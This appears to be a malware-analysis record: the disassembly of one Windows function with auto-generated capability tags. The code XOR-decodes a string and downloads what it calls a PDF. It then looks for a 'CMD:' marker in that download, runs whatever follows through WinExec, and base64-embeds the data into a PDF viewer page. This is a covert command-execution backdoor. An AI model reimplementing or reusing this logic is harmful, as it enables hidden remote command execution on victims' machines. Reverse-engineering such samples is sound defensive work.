Function at 0x408460
Capabilities:
Create process on windows
Encode data using base64 via winapi
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5895cd
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x5f3040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8c], ecx
movaps xmm2, xmmword [str.wwwwwwwwwwwwwwww]
mov eax, 0x40
movups xmm0, xmmword [0x5f3b68]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmm0, xmmword [0x5f3b78]
movups xmmword [0x5f3b68], xmm1
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmm0, xmmword [0x5f3b88]
movups xmmword [0x5f3b78], xmm1
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmm0, xmmword [0x5f3b98]
movups xmmword [0x5f3b88], xmm1
xorps xmm2, xmm0
movups xmmword [0x5f3b98], xmm2
nop dword [eax]
xor byte [eax + 0x5f3b68], 0x77
inc eax
cmp eax, 0x4c
jb 0x4084f0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
call fcn.0040c290
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
mov dword [ebp - 0x74], ecx
cmp ecx, edi
jne 0x40854e
mov ecx, str.error_processing_the_pdf_from_host__n
call fcn.0040d4e0
push 0x10
push str.Error
push str.An_error_occurred_during_pdf_download__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffdf
call dword [sym.imp.KERNEL32.dll_ExitProcess]
sub edi, ecx
mov dword [ebp - 0x80], edi
mov eax, edi
cmp edi, 4
jb 0x408629
mov esi, ecx
add eax, 0xfffffffd
push eax
push 0x43
push esi
call fcn.00561de0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x408629
cmp dword [esi], 0x3a444d43
mov eax, dword [ebp - 0x74]
je 0x408593
inc esi
sub eax, esi
add eax, edi
cmp eax, 4
jae 0x408560
jmp 0x408629
sub eax, esi
xor ecx, ecx
add eax, edi
mov dword [ebp - 0x78], eax
add eax, 1
push 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.005678dd
add esp, 8
mov dword [ebp - 0x70], eax
test eax, eax
je 0x408629
mov ecx, dword [ebp - 0x78]
add esi, 4
lea edx, [ecx - 4]
mov dword [ebp - 0x7c], edx
test edx, edx
je 0x408615
test esi, esi
je 0x4085dd
cmp ecx, edx
jb 0x4085dd
push edx
push esi
push eax
call fcn.0055fc40
add esp, 0xc
jmp 0x408612
push ecx
push 0
push eax
call fcn.0055fae0
add esp, 0xc
test esi, esi
jne 0x4085fa
call fcn.005678af
mov dword [eax], 0x16
jmp 0x40860d
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x78], eax
jae 0x408612
call fcn.005678af
mov dword [eax], 0x22
call fcn.005677b1
mov eax, dword [ebp - 0x70]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [ebp - 0x70]
call fcn.005678c2
add esp, 4
push 0x5d1218
lea ecx, [ebp - 0x58]
call fcn.00409510
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], 7
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x40], ax
push ecx
mov byte [ebp - 0x7c], al
lea ecx, [ebp - 0x40]
push dword [ebp - 0x7c]
mov byte [ebp - 4], 2
push 0xa0
call fcn.00409b20
cmp dword [0x5fe4ec], 0
jne 0x408697
push ecx
push str.viewFitH
lea ecx, [ebp - 0x40]
call fcn.004093e0
cmp eax, 0xffffffff
je 0x408697
push 0
push 0x5d1218
push 0xa
push eax
lea ecx, [ebp - 0x40]
call fcn.004097b0
xor esi, esi
mov dword [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x7c], eax
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], eax
test edi, edi
je 0x4086e5
push edi
lea ecx, [ebp - 0x28]
call fcn.00409fa0
mov esi, dword [ebp - 0x28]
push edi
push dword [ebp - 0x74]
mov dword [ebp - 0x78], esi
push esi
call fcn.0055fc40
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 3
push eax
push 0
push 1
push edi
push esi
mov dword [ebp - 0x6c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x74], ecx
test ecx, ecx
je 0x4088ba
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
cmp ecx, 0x7fffffff
ja 0x408a27
add ecx, ecx
cmp ecx, 0x1000
jb 0x408779
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x408a2c
push eax
call fcn.0042f2b8
add esp, 4
test eax, eax
je 0x408a31
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x40878c
test ecx, ecx
je 0x40878a
push ecx
call fcn.0042f2b8
add esp, 4
mov ecx, eax
jmp 0x40878c
xor ecx, ecx
mov eax, dword [ebp - 0x74]
lea esi, [ebp - 0x84]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x1c], ecx
lea edx, [eax + eax]
lea eax, [edx + ecx]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x14], eax
mov ax, word [esi]
lea esi, [ebp - 0x68]
cmp ax, word [esi]
jne 0x4087d0
push edx
push 0
push ecx
call fcn.0055fae0
mov ecx, dword [ebp - 0x88]
add esp, 0xc
jmp 0x4087f4
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x4087f4
mov edi, dword [ebp - 0x70]
lea edx, [eax + eax]
mov ecx, edx
xor eax, eax
shr ecx, 1
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov ecx, dword [ebp - 0x70]
mov edi, dword [ebp - 0x80]
add ecx, edx
mov dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x78]
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 4
push dword [ebp - 0x1c]
push 1
push edi
push esi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
je 0x40887f
mov edx, dword [ebp - 0x1c]
mov edi, edx
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x408820
mov eax, dword [ebp - 0x44]
sub edi, ecx
mov ecx, dword [ebp - 0x48]
sub eax, ecx
sar edi, 1
mov dword [ebp - 0x80], ecx
cmp edi, eax
ja 0x40886d
cmp dword [ebp - 0x44], 7
lea eax, [edi + ecx]
lea esi, [ebp - 0x58]
mov dword [ebp - 0x48], eax
cmova esi, dword [ebp - 0x58]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.0055fc40
mov eax, dword [ebp - 0x80]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x40887f
push edi
push edx
mov byte [ebp - 0x80], 0
lea ecx, [ebp - 0x58]
push dword [ebp - 0x80]
push edi
call fcn.00409c40
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x1c]
test edx, edx
je 0x4088ba
mov ecx, dword [ebp - 0x14]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x4088b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a31
push ecx
push edx
call fcn.0055da05
add esp, 8
push ecx
push str.b64
lea ecx, [ebp - 0x40]
call fcn.004093e0
cmp eax, 0xffffffff
je 0x4088e7
cmp dword [ebp - 0x44], 7
lea ecx, [ebp - 0x58]
push dword [ebp - 0x48]
cmova ecx, dword [ebp - 0x58]
push ecx
push 5
push eax
lea ecx, [ebp - 0x40]
call fcn.004097b0
mov edi, dword [ebp - 0x8c]
lea edx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 7
cmova edx, dword [ebp - 0x40]
mov esi, dword [edi + 0xb8]
push edx
push esi
mov eax, dword [esi]
call dword [eax + 0x18]
test eax, eax
jne 0x408910
mov ecx, edi
call fcn.00407f20
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0x408944
mov edx, dword [ebp - 0x7c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40893a
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a36
push edx
push ecx
call fcn.0055da05
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 7
jbe 0x40897e
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x408974
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a36
push ecx
push edx
call fcn.0055da05
add esp, 8
mov ecx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 7
jbe 0x4089c8
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4089be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a36
push ecx
push edx
call fcn.0055da05
add esp, 8
mov ecx, dword [ebp - 0x64]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
test ecx, ecx
je 0x408a0c
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x408a02
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a36
push edx
push ecx
call fcn.0055da05
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055d3df
mov esp, ebp
pop ebp
ret
call fcn.00409dd0
call fcn.004073a0
call fcn.005677c1
call fcn.005677c1
int3